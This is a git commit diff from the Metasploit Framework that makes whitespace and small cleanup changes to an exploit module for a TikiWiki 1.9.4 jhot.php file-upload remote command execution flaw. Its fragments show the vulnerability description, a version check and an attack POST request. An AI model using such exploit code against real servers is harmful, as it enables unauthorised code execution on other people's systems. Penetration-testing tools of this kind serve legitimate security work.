minor whitespace tweaks
git-svn-id: file:///home/svn/framework3/trunk@9108 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
dc2b42a8c2
commit
9a5c1ccf68
|
@ -1,3 +1,7 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -17,11 +21,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Name' => 'TikiWiki jhot Remote Command Execution',
|
||||
'Description' => %q{
|
||||
TikiWiki contains a flaw that may allow a malicious user to execute
|
||||
arbitrary PHP code. The issue is triggered due to the jhot.php script
|
||||
not correctly verifying uploaded files. It is possible that the flaw
|
||||
may allow arbitrary PHP code execution by uploading a malicious PHP
|
||||
script resulting in a loss of integrity.
|
||||
The vulnerability has been reported in Tikiwiki version 1.9.4.
|
||||
arbitrary PHP code. The issue is triggered due to the jhot.php script
|
||||
not correctly verifying uploaded files. It is possible that the flaw
|
||||
may allow arbitrary PHP code execution by uploading a malicious PHP
|
||||
script resulting in a loss of integrity.
|
||||
|
||||
The vulnerability was reported in Tikiwiki version 1.9.4.
|
||||
},
|
||||
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -67,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}, 25)
|
||||
|
||||
if (res and res.message == "OK" and res.body.match(/TikiWiki 1.9.4/))
|
||||
if (res and res.message == "OK" and res.body.match(/TikiWiki 1\.9\.4/))
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
|
@ -140,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_cgi({
|
||||
'uri' => url_jhot,
|
||||
'method' => 'POST',
|
||||
'data' => "#{data}",
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
||||
|
|
Loading…
Reference in New Issue